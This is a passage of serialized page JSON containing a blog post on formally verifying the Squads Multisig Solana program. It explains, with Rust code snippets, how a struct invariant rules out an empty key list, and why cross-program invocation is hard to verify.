data",{"type":23,"tag":481,"props":24464,"children":24465},{"style":514},[24466],{"type":28,"value":287},{"type":23,"tag":481,"props":24468,"children":24469},{"style":514},[24470],{"type":28,"value":22810},{"type":23,"tag":481,"props":24472,"children":24473},{"style":525},[24474],{"type":28,"value":1033},{"type":23,"tag":481,"props":24476,"children":24477},{"class":483,"line":1125},[24478,24482,24486,24490],{"type":23,"tag":481,"props":24479,"children":24480},{"style":508},[24481],{"type":28,"value":22863},{"type":23,"tag":481,"props":24483,"children":24484},{"style":514},[24485],{"type":28,"value":287},{"type":23,"tag":481,"props":24487,"children":24488},{"style":551},[24489],{"type":28,"value":554},{"type":23,"tag":481,"props":24491,"children":24492},{"style":525},[24493],{"type":28,"value":1033},{"type":23,"tag":481,"props":24495,"children":24496},{"class":483,"line":1142},[24497],{"type":23,"tag":481,"props":24498,"children":24499},{"style":525},[24500],{"type":28,"value":22884},{"type":23,"tag":481,"props":24502,"children":24503},{"class":483,"line":1159},[24504],{"type":23,"tag":481,"props":24505,"children":24506},{"style":525},[24507],{"type":28,"value":22892},{"type":23,"tag":481,"props":24509,"children":24510},{"class":483,"line":1172},[24511,24515,24519,24523,24527,24531],{"type":23,"tag":481,"props":24512,"children":24513},{"style":508},[24514],{"type":28,"value":22900},{"type":23,"tag":481,"props":24516,"children":24517},{"style":514},[24518],{"type":28,"value":287},{"type":23,"tag":481,"props":24520,"children":24521},{"style":943},[24522],{"type":28,"value":22909},{"type":23,"tag":481,"props":24524,"children":24525},{"style":525},[24526],{"type":28,"value":7069},{"type":23,"tag":481,"props":24528,"children":24529},{"style":514},[24530],{"type":28,"value":7074},{"type":23,"tag":481,"props":24532,"children":24533},{"style":525},[24534],{"type":28,"value":22922},{"type":23,"tag":481,"props":24536,"children":24537},{"class":483,"line":1181},[24538],{"type":23,"tag":481,"props":24539,"children":24540},{"style":525},[24541],{"type":28,"value":1443},{"type":23,"tag":24,"props":24543,"children":24544},{},[24545],{"type":28,"value":24546},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":23,"tag":24,"props":24548,"children":24549},{},[24550,24552,24558],{"type":28,"value":24551},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":23,"tag":64,"props":24553,"children":24555},{"className":24554},[],[24556],{"type":28,"value":24557},"Ms::remove_member",{"type":28,"value":287},{"type":23,"tag":435,"props":24560,"children":24562},{"code":24561,"language":474,"meta":7,"className":475,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[24563],{"type":23,"tag":64,"props":24564,"children":24565},{"__ignoreMap":7},[24566,24625,24656,24663],{"type":23,"tag":481,"props":24567,"children":24568},{"class":483,"line":484},[24569,24573,24577,24581,24585,24589,24593,24597,24601,24605,24609,24613,24617,24621],{"type":23,"tag":481,"props":24570,"children":24571},{"style":535},[24572],{"type":28,"value":13069},{"type":23,"tag":481,"props":24574,"children":24575},{"style":508},[24576],{"type":28,"value":23354},{"type":23,"tag":481,"props":24578,"children":24579},{"style":514},[24580],{"type":28,"value":199},{"type":23,"tag":481,"props":24582,"children":24583},{"style":525},[24584],{"type":28,"value":12163},{"type":23,"tag":481,"props":24586,"children":24587},{"style":514},[24588],{"type":28,"value":199},{"type":23,"tag":481,"props":24590,"children":24591},{"style":525},[24592],{"type":28,"value":21315},{"type":23,"tag":481,"props":24594,"children":24595},{"style":514},[24596],{"type":28,"value":199},{"type":23,"tag":481,"props":24598,"children":24599},{"style":525},[24600],{"type":28,"value":18481},{"type":23,"tag":481,"props":24602,"children":24603},{"style":514},[24604],{"type":28,"value":199},{"type":23,"tag":481,"props":24606,"children":24607},{"style":610},[24608],{"type":28,"value":6621},{"type":23,"tag":481,"props":24610,"children":24611},{"style":525},[24612],{"type":28,"value":11531},{"type":23,"tag":481,"props":24614,"children":24615},{"style":514},[24616],{"type":28,"value":6055},{"type":23,"tag":481,"props":24618,"children":24619},{"style":551},[24620],{"type":28,"value":2072},{"type":23,"tag":481,"props":24622,"children":24623},{"style":525},[24624],{"type":28,"value":809},{"type":23,"tag":481,"props":24626,"children":24627},{"class":483,"line":351},[24628,24632,24636,24640,24644,24648,24652],{"type":23,"tag":481,"props":24629,"children":24630},{"style":535},[24631],{"type":28,"value":14481},{"type":23,"tag":481,"props":24633,"children":24634},{"style":610},[24635],{"type":28,"value":21018},{"type":23,"tag":481,"props":24637,"children":24638},{"style":525},[24639],{"type":28,"value":618},{"type":23,"tag":481,"props":24641,"children":24642},{"style":943},[24643],{"type":28,"value":21027},{"type":23,"tag":481,"props":24645,"children":24646},{"style":514},[24647],{"type":28,"value":1006},{"type":23,"tag":481,"props":24649,"children":24650},{"style":943},[24651],{"type":28,"value":23430},{"type":23,"tag":481,"props":24653,"children":24654},{"style":525},[24655],{"type":28,"value":1366},{"type":23,"tag":481,"props":24657,"children":24658},{"class":483,"line":531},[24659],{"type":23,"tag":481,"props":24660,"children":24661},{"style":525},[24662],{"type":28,"value":1443},{"type":23,"tag":481,"props":24664,"children":24665},{"class":483,"line":567},[24666,24670,24674,24678,24682,24686,24690,24694,24698,24702,24706,24710],{"type":23,"tag":481,"props":24667,"children":24668},{"style":508},[24669],{"type":28,"value":17778},{"type":23,"tag":481,"props":24671,"children":24672},{"style":514},[24673],{"type":28,"value":199},{"type":23,"tag":481,"props":24675,"children":24676},{"style":525},[24677],{"type":28,"value":12163},{"type":23,"tag":481,"props":24679,"children":24680},{"style":514},[24681],{"type":28,"value":199},{"type":23,"tag":481,"props":24683,"children":24684},{"style":525},[24685],{"type":28,"value":21315},{"type":23,"tag":481,"props":24687,"children":24688},{"style":514},[24689],{"type":28,"value":199},{"type":23,"tag":481,"props":24691,"children":24692},{"style":610},[24693],{"type":28,"value":22977},{"type":23,"tag":481,"props":24695,"children":24696},{"style":525},[24697],{"type":28,"value":618},{"type":23,"tag":481,"props":24699,"children":24700},{"style":508},[24701],{"type":28,"value":23310},{"type":23,"tag":481,"props":24703,"children":24704},{"style":525},[24705],{"type":28,"value":642},{"type":23,"tag":481,"props":24707,"children":24708},{"style":514},[24709],{"type":28,"value":670},{"type":23,"tag":481,"props":24711,"children":24712},{"style":525},[24713],{"type":28,"value":528},{"type":23,"tag":24,"props":24715,"children":24716},{},[24717,24719,24725,24727,24733],{"type":28,"value":24718},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":23,"tag":64,"props":24720,"children":24722},{"className":24721},[],[24723],{"type":28,"value":24724},"Ms::is_member",{"type":28,"value":24726},") and if it is not, it simply skips the removal and returns ",{"type":23,"tag":64,"props":24728,"children":24730},{"className":24729},[],[24731],{"type":28,"value":24732},"Ok(())",{"type":28,"value":199},{"type":23,"tag":435,"props":24735,"children":24737},{"code":24736,"language":474,"meta":7,"className":475,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n if let Some(ind) = self.is_member(member) {\n self.keys.remove(ind);\n if self.keys.len() \u003C usize::from(self.threshold) {\n self.threshold = self.keys.len().try_into().unwrap();\n }\n }\n Ok(())\n}\n",[24738],{"type":23,"tag":64,"props":24739,"children":24740},{"__ignoreMap":7},[24741,24805,24864,24901,24960,25028,25035,25042,25053],{"type":23,"tag":481,"props":24742,"children":24743},{"class":483,"line":484},[24744,24748,24752,24756,24760,24764,24768,24772,24776,24781,24785,24789,24793,24797,24801],{"type":23,"tag":481,"props":24745,"children":24746},{"style":497},[24747],{"type":28,"value":11178},{"type":23,"tag":481,"props":24749,"children":24750},{"style":497},[24751],{"type":28,"value":11183},{"type":23,"tag":481,"props":24753,"children":24754},{"style":610},[24755],{"type":28,"value":23276},{"type":23,"tag":481,"props":24757,"children":24758},{"style":525},[24759],{"type":28,"value":618},{"type":23,"tag":481,"props":24761,"children":24762},{"style":514},[24763],{"type":28,"value":623},{"type":23,"tag":481,"props":24765,"children":24766},{"style":497},[24767],{"type":28,"value":1259},{"type":23,"tag":481,"props":24769,"children":24770},{"style":497},[24771],{"type":28,"value":11285},{"type":23,"tag":481,"props":24773,"children":24774},{"style":525},[24775],{"type":28,"value":588},{"type":23,"tag":481,"props":24777,"children":24778},{"style":508},[24779],{"type":28,"value":24780},"member",{"type":23,"tag":481,"props":24782,"children":24783},{"style":514},[24784],{"type":28,"value":287},{"type":23,"tag":481,"props":24786,"children":24787},{"style":943},[24788],{"type":28,"value":18355},{"type":23,"tag":481,"props":24790,"children":24791},{"style":525},[24792],{"type":28,"value":598},{"type":23,"tag":481,"props":24794,"children":24795},{"style":514},[24796],{"type":28,"value":11245},{"type":23,"tag":481,"props":24798,"children":24799},{"style":943},[24800],{"type":28,"value":11250},{"type":23,"tag":481,"props":24802,"children":24803},{"style":525},[24804],{"type":28,"value":17829},{"type":23,"tag":481,"props":24806,"children":24807},{"class":483,"line":351},[24808,24812,24817,24822,24826,24831,24835,24839,24843,24847,24852,24856,24860],{"type":23,"tag":481,"props":24809,"children":24810},{"style":535},[24811],{"type":28,"value":9766},{"type":23,"tag":481,"props":24813,"children":24814},{"style":497},[24815],{"type":28,"value":24816}," let",{"type":23,"tag":481,"props":24818,"children":24819},{"style":943},[24820],{"type":28,"value":24821}," Some",{"type":23,"tag":481,"props":24823,"children":24824},{"style":525},[24825],{"type":28,"value":618},{"type":23,"tag":481,"props":24827,"children":24828},{"style":508},[24829],{"type":28,"value":24830},"ind",{"type":23,"tag":481,"props":24832,"children":24833},{"style":525},[24834],{"type":28,"value":598},{"type":23,"tag":481,"props":24836,"children":24837},{"style":514},[24838],{"type":28,"value":603},{"type":23,"tag":481,"props":24840,"children":24841},{"style":497},[24842],{"type":28,"value":11285},{"type":23,"tag":481,"props":24844,"children":24845},{"style":514},[24846],{"type":28,"value":199},{"type":23,"tag":481,"props":24848,"children":24849},{"style":610},[24850],{"type":28,"value":24851},"is_member",{"type":23,"tag":481,"props":24853,"children":24854},{"style":525},[24855],{"type":28,"value":618},{"type":23,"tag":481,"props":24857,"children":24858},{"style":508},[24859],{"type":28,"value":24780},{"type":23,"tag":481,"props":24861,"children":24862},{"style":525},[24863],{"type":28,"value":12292},{"type":23,"tag":481,"props":24865,"children":24866},{"class":483,"line":531},[24867,24872,24876,24880,24884,24889,24893,24897],{"type":23,"tag":481,"props":24868,"children":24869},{"style":497},[24870],{"type":28,"value":24871}," self",{"type":23,"tag":481,"props":24873,"children":24874},{"style":514},[24875],{"type":28,"value":199},{"type":23,"tag":481,"props":24877,"children":24878},{"style":525},[24879],{"type":28,"value":18481},{"type":23,"tag":481,"props":24881,"children":24882},{"style":514},[24883],{"type":28,"value":199},{"type":23,"tag":481,"props":24885,"children":24886},{"style":610},[24887],{"type":28,"value":24888},"remove",{"type":23,"tag":481,"props":24890,"children":24891},{"style":525},[24892],{"type":28,"value":618},{"type":23,"tag":481,"props":24894,"children":24895},{"style":508},[24896],{"type":28,"value":24830},{"type":23,"tag":481,"props":24898,"children":24899},{"style":525},[24900],{"type":28,"value":1366},{"type":23,"tag":481,"props":24902,"children":24903},{"class":483,"line":567},[24904,24908,24912,24916,24920,24924,24928,24932,24936,24940,24944,24948,24952,24956],{"type":23,"tag":481,"props":24905,"children":24906},{"style":535},[24907],{"type":28,"value":790},{"type":23,"tag":481,"props":24909,"children":24910},{"style":497},[24911],{"type":28,"value":11285},{"type":23,"tag":481,"props":24913,"children":24914},{"style":514},[24915],{"type":28,"value":199},{"type":23,"tag":481,"props":24917,"children":24918},{"style":525},[24919],{"type":28,"value":18481},{"type":23,"tag":481,"props":24921,"children":24922},{"style":514},[24923],{"type":28,"value":199},{"type":23,"tag":481,"props":24925,"children":24926},{"style":610},[24927],{"type":28,"value":6621},{"type":23,"tag":481,"props":24929,"children":24930},{"style":525},[24931],{"type":28,"value":23555},{"type":23,"tag":481,"props":24933,"children":24934},{"style":943},[24935],{"type":28,"value":14092},{"type":23,"tag":481,"props":24937,"children":24938},{"style":514},[24939],{"type":28,"value":1006},{"type":23,"tag":481,"props":24941,"children":24942},{"style":610},[24943],{"type":28,"value":16970},{"type":23,"tag":481,"props":24945,"children":24946},{"style":525},[24947],{"type":28,"value":618},{"type":23,"tag":481,"props":24949,"children":24950},{"style":497},[24951],{"type":28,"value":11201},{"type":23,"tag":481,"props":24953,"children":24954},{"style":514},[24955],{"type":28,"value":199},{"type":23,"tag":481,"props":24957,"children":24958},{"style":525},[24959],{"type":28,"value":23600},{"type":23,"tag":481,"props":24961,"children":24962},{"class":483,"line":678},[24963,24968,24972,24976,24980,24984,24988,24992,24996,25000,25004,25008,25012,25016,25020,25024],{"type":23,"tag":481,"props":24964,"children":24965},{"style":497},[24966],{"type":28,"value":24967}," self",{"type":23,"tag":481,"props":24969,"children":24970},{"style":514},[24971],{"type":28,"value":199},{"type":23,"tag":481,"props":24973,"children":24974},{"style":525},[24975],{"type":28,"value":18569},{"type":23,"tag":481,"props":24977,"children":24978},{"style":514},[24979],{"type":28,"value":603},{"type":23,"tag":481,"props":24981,"children":24982},{"style":497},[24983],{"type":28,"value":11285},{"type":23,"tag":481,"props":24985,"children":24986},{"style":514},[24987],{"type":28,"value":199},{"type":23,"tag":481,"props":24989,"children":24990},{"style":525},[24991],{"type":28,"value":18481},{"type":23,"tag":481,"props":24993,"children":24994},{"style":514},[24995],{"type":28,"value":199},{"type":23,"tag":481,"props":24997,"children":24998},{"style":610},[24999],{"type":28,"value":6621},{"type":23,"tag":481,"props":25001,"children":25002},{"style":525},[25003],{"type":28,"value":11367},{"type":23,"tag":481,"props":25005,"children":25006},{"style":514},[25007],{"type":28,"value":199},{"type":23,"tag":481,"props":25009,"children":25010},{"style":610},[25011],{"type":28,"value":23673},{"type":23,"tag":481,"props":25013,"children":25014},{"style":525},[25015],{"type":28,"value":11367},{"type":23,"tag":481,"props":25017,"children":25018},{"style":514},[25019],{"type":28,"value":199},{"type":23,"tag":481,"props":25021,"children":25022},{"style":610},[25023],{"type":28,"value":1196},{"type":23,"tag":481,"props":25025,"children":25026},{"style":525},[25027],{"type":28,"value":1201},{"type":23,"tag":481,"props":25029,"children":25030},{"class":483,"line":784},[25031],{"type":23,"tag":481,"props":25032,"children":25033},{"style":525},[25034],{"type":28,"value":870},{"type":23,"tag":481,"props":25036,"children":25037},{"class":483,"line":812},[25038],{"type":23,"tag":481,"props":25039,"children":25040},{"style":525},[25041],{"type":28,"value":879},{"type":23,"tag":481,"props":25043,"children":25044},{"class":483,"line":825},[25045,25049],{"type":23,"tag":481,"props":25046,"children":25047},{"style":943},[25048],{"type":28,"value":11821},{"type":23,"tag":481,"props":25050,"children":25051},{"style":525},[25052],{"type":28,"value":11826},{"type":23,"tag":481,"props":25054,"children":25055},{"class":483,"line":843},[25056],{"type":23,"tag":481,"props":25057,"children":25058},{"style":525},[25059],{"type":28,"value":1443},{"type":23,"tag":24,"props":25061,"children":25062},{},[25063,25065,25070,25072,25078,25080,25086,25088,25093],{"type":28,"value":25064},"Inside ",{"type":23,"tag":64,"props":25066,"children":25068},{"className":25067},[],[25069],{"type":28,"value":24724},{"type":28,"value":25071},", we see that it performs a ",{"type":23,"tag":64,"props":25073,"children":25075},{"className":25074},[],[25076],{"type":28,"value":25077},"binary_search",{"type":28,"value":25079}," on the keys vec and returns the index or ",{"type":23,"tag":64,"props":25081,"children":25083},{"className":25082},[],[25084],{"type":28,"value":25085},"None",{"type":28,"value":25087},". Since the vec has size zero, this will just return ",{"type":23,"tag":64,"props":25089,"children":25091},{"className":25090},[],[25092],{"type":28,"value":25085},{"type":28,"value":199},{"type":23,"tag":435,"props":25095,"children":25097},{"code":25096,"language":474,"meta":7,"className":475,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n match self.keys.binary_search(&member) {\n Ok(ind) => Some(ind),\n _ => None,\n }\n}\n",[25098],{"type":23,"tag":64,"props":25099,"children":25100},{"__ignoreMap":7},[25101,25170,25213,25252,25274,25281],{"type":23,"tag":481,"props":25102,"children":25103},{"class":483,"line":484},[25104,25108,25112,25117,25121,25125,25129,25133,25137,25141,25145,25149,25153,25158,25162,25166],{"type":23,"tag":481,"props":25105,"children":25106},{"style":497},[25107],{"type":28,"value":11178},{"type":23,"tag":481,"props":25109,"children":25110},{"style":497},[25111],{"type":28,"value":11183},{"type":23,"tag":481,"props":25113,"children":25114},{"style":610},[25115],{"type":28,"value":25116}," is_member",{"type":23,"tag":481,"props":25118,"children":25119},{"style":525},[25120],{"type":28,"value":618},{"type":23,"tag":481,"props":25122,"children":25123},{"style":514},[25124],{"type":28,"value":623},{"type":23,"tag":481,"props":25126,"children":25127},{"style":497},[25128],{"type":28,"value":11201},{"type":23,"tag":481,"props":25130,"children":25131},{"style":525},[25132],{"type":28,"value":588},{"type":23,"tag":481,"props":25134,"children":25135},{"style":508},[25136],{"type":28,"value":24780},{"type":23,"tag":481,"props":25138,"children":25139},{"style":514},[25140],{"type":28,"value":287},{"type":23,"tag":481,"props":25142,"children":25143},{"style":943},[25144],{"type":28,"value":18355},{"type":23,"tag":481,"props":25146,"children":25147},{"style":525},[25148],{"type":28,"value":598},{"type":23,"tag":481,"props":25150,"children":25151},{"style":514},[25152],{"type":28,"value":11245},{"type":23,"tag":481,"props":25154,"children":25155},{"style":943},[25156],{"type":28,"value":25157}," Option",{"type":23,"tag":481,"props":25159,"children":25160},{"style":525},[25161],{"type":28,"value":3282},{"type":23,"tag":481,"props":25163,"children":25164},{"style":943},[25165],{"type":28,"value":14092},{"type":23,"tag":481,"props":25167,"children":25168},{"style":525},[25169],{"type":28,"value":4759},{"type":23,"tag":481,"props":25171,"children":25172},{"class":483,"line":351},[25173,25177,25181,25185,25189,25193,25197,25201,25205,25209],{"type":23,"tag":481,"props":25174,"children":25175},{"style":535},[25176],{"type":28,"value":12241},{"type":23,"tag":481,"props":25178,"children":25179},{"style":497},[25180],{"type":28,"value":11285},{"type":23,"tag":481,"props":25182,"children":25183},{"style":514},[25184],{"type":28,"value":199},{"type":23,"tag":481,"props":25186,"children":25187},{"style":525},[25188],{"type":28,"value":18481},{"type":23,"tag":481,"props":25190,"children":25191},{"style":514},[25192],{"type":28,"value":199},{"type":23,"tag":481,"props":25194,"children":25195},{"style":610},[25196],{"type":28,"value":25077},{"type":23,"tag":481,"props":25198,"children":25199},{"style":525},[25200],{"type":28,"value":618},{"type":23,"tag":481,"props":25202,"children":25203},{"style":514},[25204],{"type":28,"value":623},{"type":23,"tag":481,"props":25206,"children":25207},{"style":508},[25208],{"type":28,"value":24780},{"type":23,"tag":481,"props":25210,"children":25211},{"style":525},[25212],{"type":28,"value":12292},{"type":23,"tag":481,"props":25214,"children":25215},{"class":483,"line":531},[25216,25220,25224,25228,25232,25236,25240,25244,25248],{"type":23,"tag":481,"props":25217,"children":25218},{"style":943},[25219],{"type":28,"value":12300},{"type":23,"tag":481,"props":25221,"children":25222},{"style":525},[25223],{"type":28,"value":618},{"type":23,"tag":481,"props":25225,"children":25226},{"style":508},[25227],{"type":28,"value":24830},{"type":23,"tag":481,"props":25229,"children":25230},{"style":525},[25231],{"type":28,"value":598},{"type":23,"tag":481,"props":25233,"children":25234},{"style":514},[25235],{"type":28,"value":12310},{"type":23,"tag":481,"props":25237,"children":25238},{"style":943},[25239],{"type":28,"value":24821},{"type":23,"tag":481,"props":25241,"children":25242},{"style":525},[25243],{"type":28,"value":618},{"type":23,"tag":481,"props":25245,"children":25246},{"style":508},[25247],{"type":28,"value":24830},{"type":23,"tag":481,"props":25249,"children":25250},{"style":525},[25251],{"type":28,"value":4214},{"type":23,"tag":481,"props":25253,"children":25254},{"class":483,"line":567},[25255,25260,25265,25270],{"type":23,"tag":481,"props":25256,"children":25257},{"style":508},[25258],{"type":28,"value":25259}," _",{"type":23,"tag":481,"props":25261,"children":25262},{"style":514},[25263],{"type":28,"value":25264}," =>",{"type":23,"tag":481,"props":25266,"children":25267},{"style":943},[25268],{"type":28,"value":25269}," None",{"type":23,"tag":481,"props":25271,"children":25272},{"style":525},[25273],{"type":28,"value":1033},{"type":23,"tag":481,"props":25275,"children":25276},{"class":483,"line":678},[25277],{"type":23,"tag":481,"props":25278,"children":25279},{"style":525},[25280],{"type":28,"value":879},{"type":23,"tag":481,"props":25282,"children":25283},{"class":483,"line":784},[25284],{"type":23,"tag":481,"props":25285,"children":25286},{"style":525},[25287],{"type":28,"value":1443},{"type":23,"tag":24,"props":25289,"children":25290},{},[25291,25293,25298,25300,25305,25307,25312,25314,25319],{"type":28,"value":25292},"So interestingly, a ",{"type":23,"tag":64,"props":25294,"children":25296},{"className":25295},[],[25297],{"type":28,"value":18481},{"type":28,"value":25299}," vec of size 0 ",{"type":23,"tag":127,"props":25301,"children":25302},{},[25303],{"type":28,"value":25304},"is actually",{"type":28,"value":25306}," a sufficient condition to execute ",{"type":23,"tag":64,"props":25308,"children":25310},{"className":25309},[],[25311],{"type":28,"value":22977},{"type":28,"value":25313},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":23,"tag":127,"props":25315,"children":25316},{},[25317],{"type":28,"value":25318},"valid",{"type":28,"value":25320}," multisig, the number of keys should never be zero.",{"type":23,"tag":24,"props":25322,"children":25323},{},[25324,25326,25331],{"type":28,"value":25325},"We can represent this ",{"type":23,"tag":127,"props":25327,"children":25328},{},[25329],{"type":28,"value":25330},"validity",{"type":28,"value":25332}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":23,"tag":435,"props":25334,"children":25336},{"code":25335,"language":474,"meta":7,"className":475,"style":7},"#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[25337],{"type":23,"tag":64,"props":25338,"children":25339},{"__ignoreMap":7},[25340,25347,25370,25421,25428],{"type":23,"tag":481,"props":25341,"children":25342},{"class":483,"line":484},[25343],{"type":23,"tag":481,"props":25344,"children":25345},{"style":525},[25346],{"type":28,"value":18276},{"type":23,"tag":481,"props":25348,"children":25349},{"class":483,"line":351},[25350,25354,25358,25362,25366],{"type":23,"tag":481,"props":25351,"children":25352},{"style":525},[25353],{"type":28,"value":22240},{"type":23,"tag":481,"props":25355,"children":25356},{"style":514},[25357],{"type":28,"value":199},{"type":23,"tag":481,"props":25359,"children":25360},{"style":525},[25361],{"type":28,"value":18569},{"type":23,"tag":481,"props":25363,"children":25364},{"style":514},[25365],{"type":28,"value":7428},{"type":23,"tag":481,"props":25367,"children":25368},{"style":525},[25369],{"type":28,"value":18578},{"type":23,"tag":481,"props":25371,"children":25372},{"class":483,"line":531},[25373,25377,25381,25385,25389,25393,25397,25401,25405,25409,25413,25417],{"type":23,"tag":481,"props":25374,"children":25375},{"style":514},[25376],{"type":28,"value":13111},{"type":23,"tag":481,"props":25378,"children":25379},{"style":525},[25380],{"type":28,"value":18502},{"type":23,"tag":481,"props":25382,"children":25383},{"style":514},[25384],{"type":28,"value":199},{"type":23,"tag":481,"props":25386,"children":25387},{"style":525},[25388],{"type":28,"value":18569},{"type":23,"tag":481,"props":25390,"children":25391},{"style":497},[25392],{"type":28,"value":6322},{"type":23,"tag":481,"props":25394,"children":25395},{"style":943},[25396],{"type":28,"value":11219},{"type":23,"tag":481,"props":25398,"children":25399},{"style":514},[25400],{"type":28,"value":5676},{"type":23,"tag":481,"props":25402,"children":25403},{"style":525},[25404],{"type":28,"value":11285},{"type":23,"tag":481,"props":25406,"children":25407},{"style":514},[25408],{"type":28,"value":199},{"type":23,"tag":481,"props":25410,"children":25411},{"style":525},[25412],{"type":28,"value":18481},{"type":23,"tag":481,"props":25414,"children":25415},{"style":514},[25416],{"type":28,"value":199},{"type":23,"tag":481,"props":25418,"children":25419},{"style":525},[25420],{"type":28,"value":18630},{"type":23,"tag":481,"props":25422,"children":25423},{"class":483,"line":567},[25424],{"type":23,"tag":481,"props":25425,"children":25426},{"style":525},[25427],{"type":28,"value":17756},{"type":23,"tag":481,"props":25429,"children":25430},{"class":483,"line":678},[25431,25435,25439,25443,25447,25451],{"type":23,"tag":481,"props":25432,"children":25433},{"style":497},[25434],{"type":28,"value":11178},{"type":23,"tag":481,"props":25436,"children":25437},{"style":497},[25438],{"type":28,"value":18649},{"type":23,"tag":481,"props":25440,"children":25441},{"style":943},[25442],{"type":28,"value":18654},{"type":23,"tag":481,"props":25444,"children":25445},{"style":525},[25446],{"type":28,"value":7069},{"type":23,"tag":481,"props":25448,"children":25449},{"style":514},[25450],{"type":28,"value":7074},{"type":23,"tag":481,"props":25452,"children":25453},{"style":525},[25454],{"type":28,"value":7079},{"type":23,"tag":24,"props":25456,"children":25457},{},[25458,25460,25466,25468,25474],{"type":28,"value":25459},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":23,"tag":64,"props":25461,"children":25463},{"className":25462},[],[25464],{"type":28,"value":25465},"keys.len() == 0",{"type":28,"value":25467}," and allows us to prove the biconditional ",{"type":23,"tag":64,"props":25469,"children":25471},{"className":25470},[],[25472],{"type":28,"value":25473},"(keys.len() >= 1) -> (instruction succeeds)",{"type":28,"value":199},{"type":23,"tag":7092,"props":25476,"children":25478},{"id":25477},"safety-guarantees",[25479],{"type":28,"value":20283},{"type":23,"tag":24,"props":25481,"children":25482},{},[25483],{"type":28,"value":25484},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":23,"tag":24,"props":25486,"children":25487},{},[25488],{"type":28,"value":25489},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":23,"tag":24,"props":25491,"children":25492},{},[25493,25495,25501],{"type":28,"value":25494},"In the multisig program this happens in the ",{"type":23,"tag":64,"props":25496,"children":25498},{"className":25497},[],[25499],{"type":28,"value":25500},"execute_transaction",{"type":28,"value":25502}," instruction.",{"type":23,"tag":24,"props":25504,"children":25505},{},[25506],{"type":23,"tag":127,"props":25507,"children":25508},{},[25509],{"type":28,"value":25510},"So what do you do?",{"type":23,"tag":24,"props":25512,"children":25513},{},[25514],{"type":28,"value":25515},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":23,"tag":435,"props":25517,"children":25519},{"code":25518,"language":474,"meta":7,"className":475,"style":7},"#[derive(Accounts)]\npub MyCtx {\n #[account(mut)]\n pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n pub bad: bool\n}\n\nimpl Acc {\n pub fn put_into_bad_state() {\n self.bad = true;\n }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n Ok(())\n}\n",[25520],{"type":23,"tag":64,"props":25521,"children":25522},{"__ignoreMap":7},[25523,25538,25554,25569,25610,25617,25624,25631,25648,25664,25685,25692,25699,25715,25735,25763,25770,25777,25784,25792,25845,25871,25878,25907,25931,25966,25973,25984],{"type":23,"tag":481,"props":25524,"children":25525},{"class":483,"line":484},[25526,25530,25534],{"type":23,"tag":481,"props":25527,"children":25528},{"style":525},[25529],{"type":28,"value":20336},{"type":23,"tag":481,"props":25531,"children":25532},{"style":943},[25533],{"type":28,"value":20341},{"type":23,"tag":481,"props":25535,"children":25536},{"style":525},[25537],{"type":28,"value":17756},{"type":23,"tag":481,"props":25539,"children":25540},{"class":483,"line":351},[25541,25545,25550],{"type":23,"tag":481,"props":25542,"children":25543},{"style":497},[25544],{"type":28,"value":11178},{"type":23,"tag":481,"props":25546,"children":25547},{"style":943},[25548],{"type":28,"value":25549}," MyCtx",{"type":23,"tag":481,"props":25551,"children":25552},{"style":525},[25553],{"type":28,"value":809},{"type":23,"tag":481,"props":25555,"children":25556},{"class":483,"line":531},[25557,25561,25565],{"type":23,"tag":481,"props":25558,"children":25559},{"style":525},[25560],{"type":28,"value":20628},{"type":23,"tag":481,"props":25562,"children":25563},{"style":497},[25564],{"type":28,"value":1259},{"type":23,"tag":481,"props":25566,"children":25567},{"style":525},[25568],{"type":28,"value":17756},{"type":23,"tag":481,"props":25570,"children":25571},{"class":483,"line":567},[25572,25576,25581,25585,25589,25593,25597,25601,25606],{"type":23,"tag":481,"props":25573,"children":25574},{"style":497},[25575],{"type":28,"value":18341},{"type":23,"tag":481,"props":25577,"children":25578},{"style":508},[25579],{"type":28,"value":25580}," my_account",{"type":23,"tag":481,"props":25582,"children":25583},{"style":514},[25584],{"type":28,"value":287},{"type":23,"tag":481,"props":25586,"children":25587},{"style":943},[25588],{"type":28,"value":20593},{"type":23,"tag":481,"props":25590,"children":25591},{"style":525},[25592],{"type":28,"value":20421},{"type":23,"tag":481,"props":25594,"children":25595},{"style":943},[25596],{"type":28,"value":20426},{"type":23,"tag":481,"props":25598,"children":25599},{"style":525},[25600],{"type":28,"value":588},{"type":23,"tag":481,"props":25602,"children":25603},{"style":943},[25604],{"type":28,"value":25605},"Acc",{"type":23,"tag":481,"props":25607,"children":25608},{"style":525},[25609],{"type":28,"value":3469},{"type":23,"tag":481,"props":25611,"children":25612},{"class":483,"line":678},[25613],{"type":23,"tag":481,"props":25614,"children":25615},{"style":525},[25616],{"type":28,"value":1443},{"type":23,"tag":481,"props":25618,"children":25619},{"class":483,"line":784},[25620],{"type":23,"tag":481,"props":25621,"children":25622},{"emptyLinePlaceholder":15},[25623],{"type":28,"value":1210},{"type":23,"tag":481,"props":25625,"children":25626},{"class":483,"line":812},[25627],{"type":23,"tag":481,"props":25628,"children":25629},{"style":525},[25630],